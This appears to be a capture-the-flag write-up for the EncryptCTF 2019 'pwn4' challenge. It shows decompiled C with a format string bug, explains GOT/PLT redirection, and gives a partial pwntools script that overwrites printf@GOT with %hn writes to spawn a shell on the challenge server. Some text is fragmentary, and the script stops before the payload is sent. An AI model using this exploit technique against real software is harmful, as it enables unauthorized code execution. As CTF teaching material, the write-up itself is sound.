A more detailed explanation can be found at[ our blog](https://ubcctf.github.io/2019/04/encryptctf-2019-pwn4/).
## Program Source
int __cdecl main(int argc, const char **argv, const char **envp)
char s; // [esp+1Ch] [ebp-84h]
unsigned int v5; // [esp+9Ch] [ebp-4h]
v5 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
puts("Do you swear to use this shell with responsility by the old gods and the new?\n");
printf("\ni don't belive you!\n%s\n", &s);
## Simple GOT overwrite using format string bug
1. It's easier (to understand your own payload + calculate offsets) if you put all the necessary addresses at the very beginning of your payload
2. If you have a negative offset that you have to overwrite, (e.g. you want to write 0x0804 but you already have outputted 0x8230 characters) you can use 0x10804 instead, with the %hn function in order to only write the last two bytes.
3. PLT is read-only.
When you call a function, it jumps to PLT.
PLT contains a jump to the GOT.
GOT is a table, empty when you look at the binary file but once you run your program and your library is loaded, the addresses will be dynamically linked to the procedure so that another jump from the GOT will lead at the function at LIBC.
We want to write the address of `__` into `printf@GOT` so that when printf is called a second time (in main), it will jump to `__` instead and spawn a shell.
from pwn import *
r = remote("18.104.22.168", 5678)
#r = process("./pwn4")
# buffer is 7th argument
printf_got1 = 0x080498fc
printf_got2 = 0x080498fe
system = 0x804853d
payload = ""
payload += p32(printf_got1)
payload += p32(printf_got2)
# 8 bytes written
# printf -> system
payload += "%34101c%7$hn"
payload += "%33479c%8$hn"
print r.recvuntil("by the old gods and the new?\n")